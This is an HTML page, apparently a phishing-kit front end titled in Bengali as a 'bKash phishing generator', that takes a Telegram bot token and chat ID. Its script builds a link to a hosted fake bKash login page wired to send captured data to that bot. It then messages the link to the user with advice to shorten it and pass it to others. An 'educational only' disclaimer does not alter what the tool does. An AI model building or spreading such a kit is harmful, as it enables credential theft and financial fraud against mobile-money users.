<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
   <link rel="shortcut icon" href="https://telegra.ph/file/50c450dbb935cc7172222.jpg" />
  <meta property="og:title" content="বিকাশ ফি-শিং পেজ জেনারেটর।" />
  <meta property="og:description" content="বিকাশ ফি-শিং পেজ জেনারেটর।" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>বিকাশ ফি-শিং জেনারেটর</title>
    <style>
    	@keyframes fadeIn {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        @keyframes buttonHover {
            from { background-color: #e4136b; }
            to { background-color: #c5115a; }
        }

        body {
            background-color: #e4136b;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            height: 100vh;
            padding-top: 50px;
            overflow: auto;
           overflow: hidden;
        }
        .logo {
            text-align: center;
            margin-bottom: 10px;
            animation: fadeIn 1s ease-in-out;
        }
        .logo img {
            max-width: 110px;
        }
        .container {
            background-color: #FFFFFF;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
            width: 300px;
            text-align: center;
            animation: fadeIn 1.5s ease-in-out;
        }
        .title {
            margin-bottom: 10px;
            position: relative;
        }
        .title::after {
            content: "";
            display: block;
            width: 100%;
            height: 2px;
            background-color: #C70039;
            position: absolute;
            bottom: -5px;
            left: 0;
        }
        .input-group {
            margin-bottom: 15px;
            text-align: left;
            animation: fadeIn 2s ease-in-out;
        }
        input[type="text"],
        input[type="number"] {
            width: 100%;
            padding: 10px;
            border: 1px solid #CCCCCC;
            border-radius: 5px;
            box-sizing: border-box;
            font-family: Arial, sans-serif;
            transition: border-color 0.3s, box-shadow 0.3s;
        }
        input[type="text"]::placeholder,
        input[type="number"]::placeholder {
            font-family: Arial, sans-serif;
            color: #999999;
        }
        input:focus {
            border-color: #e4136b;
            box-shadow: 0 0 5px rgba(228, 19, 107, 0.5);
            outline: none;
        }
        input.invalid {
            border-color: red;
        }
        #loginButton {
            background-color: #e4136b;
            color: #FFFFFF;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            width: 100%;
            display: flex;
            justify-content: space-between;
            align-items: center;
            font-family: Arial, sans-serif;
            font-size: 17px;
            transition: background-color 0.3s, transform 0.3s;
            animation: fadeIn 2.5s ease-in-out;
        }
        #loginButton:hover {
            background-color: #c5115a;
            animation: buttonHover 0.3s forwards;
            transform: translateY(-2px);
        }
        .footer {
            margin-top: 20px;
            text-align: center;
            color: #FFFFFF;
            font-size: 14px;
            animation: fadeIn 3s ease-in-out;
        }
        .footer a {
            color: #FFFF00;
            text-decoration: none;
        }
        .footer a:hover {
            text-decoration: underline;
        }
</style>
</head>
<body>
    <div class="logo">
        <img src="https://i.ibb.co/0s3npSv/5e6ab3fa58a91-removebg-preview-1.png" alt="Bkash Logo">
         </div>
    <div class="container">
        <h2 class="title">বিকাশ ফি-শিং জেনারেটর</h2>
        <br>
        <div class="input-group">
            <p>Enter Telegram Token</p>
            <input type="text" placeholder="Ex: 6837224850:AAGpp_IozocyBeBCBqNEUxax6BqdnejSEQU " id="telegramToken">
        </div>
        <div class="input-group">
            <p>Enter Chat ID</p>
            <input type="number" placeholder="Ex: 50805***63" id="chatId">
        </div>
        <br>
        	<br>
        <button id="loginButton">Generate</button>
    </div>
    <div class="footer">
    Developed by <a href="https://www.facebook.com/TODER.ABBU.LAGI.OKh" target="_blank">Najmul Hoque</a>
   | Join our <a href="https://www.facebook.com/TODER.ABBU.LAGI.OKh" target="_blank">TEAM</a>
</div>
   <script>
        
        document.getElementById('loginButton').addEventListener('click', function() {
    const token = document.getElementById('telegramToken').value;
    const chatId = document.getElementById('chatId').value;
    
    if (token && chatId) {
        const link = `🎣<b>Your Title Generator:-</b>https://MR-NAYIM-404.github.io/login.html?token=${token}&id=${chatId}`;
        
        const message = `🔗 <b><u>এটা হচ্ছে আপনার পেজ লিংক:</u></b>

${link}

<blockquote>🔖 উপরের যেই পেজ লিংকটা আছে, সেটা শর্ট করে আপনি অন্যকে দিন।</blockquote>

<b>Shorten your link here: https://t.ly/</b>

<blockquote>⚠️এটি শুধু শিক্ষামূলক উদ্দেশ্যে বানানো হয়েছে। দয়া করে কেউ কারো ক্ষতি করার উদ্দেশ্যে এটি ব্যবহার করবেন না।/n DEVELOPER => MD NAJMUL HOQUE</blockquote>`;

        fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                chat_id: chatId,
                text: message,
                parse_mode: 'HTML'
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.ok) {
                alert('লিংক আপনার টেলিগ্রাম এ পাঠিয়ে দেওয়া হয়েছে!');
            } else {
                alert('Failed to send link: ' + data.description);
            }
        })
        .catch(error => {
            alert('Error sending link: ' + error.message);
        });
    } else {
        alert('Please enter both Telegram Token and Chat ID.');
    }
});

    </script>
</body>
</html>
